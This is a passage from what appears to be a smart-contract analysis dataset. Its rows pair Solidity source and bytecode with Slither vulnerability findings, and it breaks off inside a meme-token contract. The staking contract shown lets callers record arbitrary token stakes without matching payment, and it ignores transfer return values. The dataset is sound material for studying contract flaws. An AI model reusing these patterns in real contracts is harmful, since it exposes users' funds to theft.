0a44565b61144f816040805190810160405280600781526020017f6261636b656e640000000000000000000000000000000000000000000000000081525061195f565b50565b611491336040805190810160405280600781526020017f6261636b656e6400000000000000000000000000000000000000000000000000815250610a44565b6114d0826040805190810160405280600b81526020017f6b79635665726966696564000000000000000000000000000000000000000000815250610dbe565b15156114e0576114df82611350565b5b6114ea8282610ac5565b5050565b600080600080611523600154611515670de0b6b3a764000088611ab090919063ffffffff16565b611ae890919063ffffffff16565b925061152e85611605565b50915061155760646115498486611ab090919063ffffffff16565b611ae890919063ffffffff16565b90506002548510151561157e57611577818461179990919063ffffffff16565b935061157f565b5b505050919050565b60015481565b60088181548110151561159c57fe5b90600052602060002090600402016000915090508060000154908060010154908060020154908060030154905084565b6040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525081565b60008060008060008090505b6008805490508110156116cb5760088181548110151561162d57fe5b906000526020600020906004020160010154861015801561166e575060088181548110151561165857fe5b9060005260206000209060040201600201548611155b156116be5760088181548110151561168257fe5b906000526020600020906004020160030154830192506008818154811015156116a757fe5b906000526020600020906004020160000154820191505b8080600101915050611611565b828294509450505050915091565b611718336040805190810160405280600781526020017f6261636b656e6400000000000000000000000000000000000000000000000000815250610a44565b611757816040805190810160405280600b81526020017f6b7963566572696669656400000000000000000000000000000000000000000081525061195f565b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61178a82826117b5565b151561179557600080fd5b5050565b600081830190508281101515156117ac57fe5b80905092915050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61188b826000836040518082805190602001908083835b60208310151561184a5780518252602082019150602081019050602083039250611825565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020611afe90919063ffffffff16565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b7004898282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611920578082015181840152602081019050611905565b50505050905090810190601f16801561194d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b6119dc826000836040518082805190602001908083835b60208310151561199b5780518252602082019150602081019050602083039250611976565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020611b5c90919063ffffffff16565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a71578082015181840152602081019050611a56565b50505050905090810190601f168015611a9e5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b600080831415611ac35760009050611ae2565b8183029050818382811515611ad457fe5b04141515611ade57fe5b8090505b92915050565b60008183811515611af557fe5b04905092915050565b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a72305820923ecf893de42bb2b956fd59987e0ef353b4d588af0b22180b024a8d55ee73710029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,612 |
0xAff06d0A92474b5c2cDbb0Eb00B4D41802bA823A | // SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//ownerable
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Staking is Ownable{
using SafeMath for uint256;
event Withdraw(address a,uint256 amount);
event Stake(address a,uint256 amount,uint256 unlocktime);
struct staker{
uint256 amount;
uint256 lockedtime;
uint256 rate;
}
mapping (address => staker) public _stakers;
IERC20 private _token;
//staking steps
uint256[] private times;
uint256[] private rates;
//locked balance in contract
uint256 public lockedBalance;
IERC20 public usdt = IERC20 (0xdAC17F958D2ee523a2206206994597C13D831ec7);
constructor(address token_){
_token = IERC20(token_);
times.push(2592000);
times.push(7776000);
times.push(15552000);
times.push(31104000);
rates.push(1);
rates.push(5);
rates.push(12);
rates.push(30);
}
function stake(uint256 amount,uint256 stakestep) external {
require(_stakers[msg.sender].amount==0,"already stake exist");
require(amount!=0 ,"amount must not 0");
require(times[stakestep]!=0,"lockedtime must not 0");
_token.transferFrom(msg.sender,address(this),amount);
uint256 lockBalance=amount.mul(rates[stakestep].add(100)).div(100);
lockedBalance=lockedBalance.add(lockBalance);
require(lockedBalance<_token.balanceOf(address(this)),"Stake : staking is full");
_stakers[msg.sender]= staker(lockBalance,block.timestamp.add(times[stakestep]),rates[stakestep]);
emit Stake(msg.sender,lockBalance,block.timestamp.add(times[stakestep]));
}
function withdraw() external {
require(_stakers[msg.sender].amount>0,"there is no staked amount");
require(_stakers[msg.sender].lockedtime<block.timestamp,"not ready to withdraw");
_token.transfer(msg.sender,_stakers[msg.sender].amount);
_stakers[msg.sender]=staker(0,0,0);
}
function getlocktime(address a)external view returns (uint256){
if(block.timestamp>_stakers[a].lockedtime)
return 0;
return _stakers[a].lockedtime.sub(block.timestamp);
}
function getamount(address a)external view returns(uint256){
return _stakers[a].amount;
}
function getTotoalAmount() external view returns(uint256){
return _token.balanceOf(address(this));
}
//for Owner
function withdrawOwner(uint256 amount) external onlyOwner{
require(amount<_token.balanceOf(address(this)).sub(lockedBalance));
_token.transfer(_msgSender(),amount);
}
function withdrawOwnerETH(uint256 amount) external payable onlyOwner{
require(address(this).balance>amount);
_msgSender().transfer(amount);
}
function buyforstakingwithexactEHTforToken(uint256 stakestep,uint256 tokenAmount) external payable {
lockedBalance=lockedBalance.add(tokenAmount);
require(lockedBalance<_token.balanceOf(address(this)),"Stake : staking is full");
_stakers[msg.sender]=staker(tokenAmount,block.timestamp.add(times[stakestep]),rates[stakestep]);
payable(owner()).transfer(msg.value);
emit Stake(msg.sender,tokenAmount,block.timestamp.add(times[stakestep]));
}
function buyforstakingwithexactUsdtforToken(uint256 stakestep,uint256 amount,uint256 tokenAmount ) external {
usdt.transferFrom(msg.sender,owner(),amount);
lockedBalance=lockedBalance.add(tokenAmount);
require(lockedBalance<_token.balanceOf(address(this)),"Stake : staking is full");
_stakers[msg.sender]=staker(tokenAmount,block.timestamp.add(times[stakestep]),rates[stakestep]);
emit Stake(msg.sender,tokenAmount,block.timestamp.add(times[stakestep]));
}
// function buyforstakingwithEHTforexactToken(uint256 amountOut,uint256 stakestep) external payable {
// uint256 ETHAmount=tokenPriceIn(amountOut).mul(100-rates[stakestep]).div(100);
// require(ETHAmount==msg.value,"buyforstaking : wrong ETH amount");
// lockedBalance=lockedBalance.add(amountOut);
// _stakers[msg.sender]=staker(amountOut,block.timestamp.add(times[stakestep]),rates[stakestep]);
// emit Stake(msg.sender,amountOut,block.timestamp.add(times[stakestep]));
// }
} | 0x6080604052600436106100e85760003560e01c80637b0472f01161008a578063b4cef28d11610059578063b4cef28d14610232578063cc659ad914610252578063f2fde38b14610265578063fd13964014610285576100e8565b80637b0472f0146101c85780637b80889b146101e85780638da5cb5b146101fd578063a1026d1614610212576100e8565b8063568cfe9a116100c6578063568cfe9a146101425780636ef98b2114610164578063715018a61461018457806375e032f414610199576100e8565b80632f48ab7d146100ed5780633ccfd60b1461011857806345972f361461012f575b600080fd5b3480156100f957600080fd5b506101026102a5565b60405161010f919061119c565b60405180910390f35b34801561012457600080fd5b5061012d6102b4565b005b61012d61013d366004611120565b6103ed565b34801561014e57600080fd5b50610157610472565b60405161010f9190611478565b34801561017057600080fd5b5061012d61017f366004611120565b6104f8565b34801561019057600080fd5b5061012d61064d565b3480156101a557600080fd5b506101b96101b43660046110d9565b6106cc565b60405161010f93929190611481565b3480156101d457600080fd5b5061012d6101e3366004611150565b6106ec565b3480156101f457600080fd5b50610157610a24565b34801561020957600080fd5b50610102610a2a565b34801561021e57600080fd5b5061015761022d3660046110d9565b610a39565b34801561023e57600080fd5b5061015761024d3660046110d9565b610a93565b61012d610260366004611150565b610aae565b34801561027157600080fd5b5061012d6102803660046110d9565b610c92565b34801561029157600080fd5b5061012d6102a0366004611171565b610cd3565b6006546001600160a01b031681565b336000908152600160205260409020546102e95760405162461bcd60e51b81526004016102e090611309565b60405180910390fd5b3360009081526001602081905260409091200154421161031b5760405162461bcd60e51b81526004016102e090611449565b600254336000818152600160205260409081902054905163a9059cbb60e01b81526001600160a01b039093169263a9059cbb9261035c9290916004016111b0565b602060405180830381600087803b15801561037657600080fd5b505af115801561038a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ae9190611100565b50604080516060810182526000808252602080830182815283850183815233845260019283905294909220925183559051908201559051600290910155565b6103f5610eeb565b6000546001600160a01b039081169116146104225760405162461bcd60e51b81526004016102e0906113dd565b80471161042e57600080fd5b610436610eeb565b6001600160a01b03166108fc829081150290604051600060405180830381858888f1935050505015801561046e573d6000803e3d6000fd5b5050565b6002546040516370a0823160e01b81526000916001600160a01b0316906370a08231906104a390309060040161119c565b60206040518083038186803b1580156104bb57600080fd5b505afa1580156104cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f39190611138565b905090565b610500610eeb565b6000546001600160a01b0390811691161461052d5760405162461bcd60e51b81526004016102e0906113dd565b6005546002546040516370a0823160e01b81526105b992916001600160a01b0316906370a082319061056390309060040161119c565b60206040518083038186803b15801561057b57600080fd5b505afa15801561058f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b39190611138565b90610eef565b81106105c457600080fd5b6002546001600160a01b031663a9059cbb6105dd610eeb565b836040518363ffffffff1660e01b81526004016105fb9291906111b0565b602060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046e9190611100565b610655610eeb565b6000546001600160a01b039081169116146106825760405162461bcd60e51b81526004016102e0906113dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600160208190526000918252604090912080549181015460029091015483565b33600090815260016020526040902054156107195760405162461bcd60e51b81526004016102e090611340565b816107365760405162461bcd60e51b81526004016102e0906112de565b6003818154811061075757634e487b7160e01b600052603260045260246000fd5b9060005260206000200154600014156107825760405162461bcd60e51b81526004016102e0906113ae565b6002546040516323b872dd60e01b81526001600160a01b03909116906323b872dd906107b6903390309087906004016111c9565b602060405180830381600087803b1580156107d057600080fd5b505af11580156107e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108089190611100565b50600061085f606461085961085260646004878154811061083957634e487b7160e01b600052603260045260246000fd5b9060005260206000200154610f3a90919063ffffffff16565b8690610f69565b90610fae565b60055490915061086f9082610f3a565b6005556002546040516370a0823160e01b81526001600160a01b03909116906370a08231906108a290309060040161119c565b60206040518083038186803b1580156108ba57600080fd5b505afa1580156108ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f29190611138565b600554106109125760405162461bcd60e51b81526004016102e090611412565b60405180606001604052808281526020016109616003858154811061094757634e487b7160e01b600052603260045260246000fd5b906000526020600020015442610f3a90919063ffffffff16565b81526020016004848154811061098757634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910154909252338082526001808452604092839020855181559385015190840155920151600290910155600380547f5af417134f72a9d41143ace85b0a26dce6f550f894f2cbc1eeee8810603d91b692918491610a0891908790811061094757634e487b7160e01b600052603260045260246000fd5b604051610a17939291906111ed565b60405180910390a1505050565b60055481565b6000546001600160a01b031690565b6001600160a01b038116600090815260016020819052604082200154421115610a6457506000610a8e565b6001600160a01b03821660009081526001602081905260409091200154610a8b9042610eef565b90505b919050565b6001600160a01b031660009081526001602052604090205490565b600554610abb9082610f3a565b6005556002546040516370a0823160e01b81526001600160a01b03909116906370a0823190610aee90309060040161119c565b60206040518083038186803b158015610b0657600080fd5b505afa158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3e9190611138565b60055410610b5e5760405162461bcd60e51b81526004016102e090611412565b6040518060600160405280828152602001610b936003858154811061094757634e487b7160e01b600052603260045260246000fd5b815260200160048481548110610bb957634e487b7160e01b600052603260045260246000fd5b600091825260208083209091015490925233815260018083526040918290208451815592840151908301559190910151600290910155610bf7610a2a565b6001600160a01b03166108fc349081150290604051600060405180830381858888f19350505050158015610c2f573d6000803e3d6000fd5b507f5af417134f72a9d41143ace85b0a26dce6f550f894f2cbc1eeee8810603d91b63382610c776003868154811061094757634e487b7160e01b600052603260045260246000fd5b604051610c86939291906111ed565b60405180910390a15050565b610c9a610eeb565b6000546001600160a01b03908116911614610cc75760405162461bcd60e51b81526004016102e0906113dd565b610cd081610ff0565b50565b6006546001600160a01b03166323b872dd33610ced610a2a565b856040518463ffffffff1660e01b8152600401610d0c939291906111c9565b602060405180830381600087803b158015610d2657600080fd5b505af1158015610d3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5e9190611100565b50600554610d6c9082610f3a565b6005556002546040516370a0823160e01b81526001600160a01b03909116906370a0823190610d9f90309060040161119c565b60206040518083038186803b158015610db757600080fd5b505afa158015610dcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610def9190611138565b60055410610e0f5760405162461bcd60e51b81526004016102e090611412565b6040518060600160405280828152602001610e446003868154811061094757634e487b7160e01b600052603260045260246000fd5b815260200160048581548110610e6a57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910154909252338082526001808452604092839020855181559385015190840155920151600290910155600380547f5af417134f72a9d41143ace85b0a26dce6f550f894f2cbc1eeee8810603d91b692918491610a0891908890811061094757634e487b7160e01b600052603260045260246000fd5b3390565b6000610f3183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611071565b90505b92915050565b600080610f478385611497565b905083811015610f315760405162461bcd60e51b81526004016102e0906112a7565b600082610f7857506000610f34565b6000610f8483856114cf565b905082610f9185836114af565b14610f315760405162461bcd60e51b81526004016102e09061136d565b6000610f3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110ab565b6001600160a01b0381166110165760405162461bcd60e51b81526004016102e090611261565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600081848411156110955760405162461bcd60e51b81526004016102e0919061120e565b5060006110a284866114ee565b95945050505050565b600081836110cc5760405162461bcd60e51b81526004016102e0919061120e565b5060006110a284866114af565b6000602082840312156110ea578081fd5b81356001600160a01b0381168114610f31578182fd5b600060208284031215611111578081fd5b81518015158114610f31578182fd5b600060208284031215611131578081fd5b5035919050565b600060208284031215611149578081fd5b5051919050565b60008060408385031215611162578081fd5b50508035926020909101359150565b600080600060608486031215611185578081fd5b505081359360208301359350604090920135919050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b039390931683526020830191909152604082015260600190565b6000602080835283518082850152825b8181101561123a5785810183015185820160400152820161121e565b8181111561124b5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601190820152700616d6f756e74206d757374206e6f74203607c1b604082015260600190565b60208082526019908201527f7468657265206973206e6f207374616b656420616d6f756e7400000000000000604082015260600190565b602080825260139082015272185b1c9958591e481cdd185ad948195e1a5cdd606a1b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526015908201527406c6f636b656474696d65206d757374206e6f74203605c1b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526017908201527f5374616b65203a207374616b696e672069732066756c6c000000000000000000604082015260600190565b6020808252601590820152746e6f7420726561647920746f20776974686472617760581b604082015260600190565b90815260200190565b9283526020830191909152604082015260600190565b600082198211156114aa576114aa611505565b500190565b6000826114ca57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156114e9576114e9611505565b500290565b60008282101561150057611500611505565b500390565b634e487b7160e01b600052601160045260246000fdfea264697066735822122090e598f0f3c2246efd1a10d5ccac615730884668416faaf94ea9ecc5a10f66eb64736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,613 |
0x7e224179d303531782083f27fd967da1387a9cfd | /**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
//Boom Boom ($BoomBoom)
//2% Deflationary yes
//Bot Protect yes
//Telegram: https://t.me/boomboomofficial
//CG, CMC listing: Ongoing
//Fair Launch
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BoomBoom is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Boom Boom";
string private constant _symbol = "BoomBoom";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 12;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
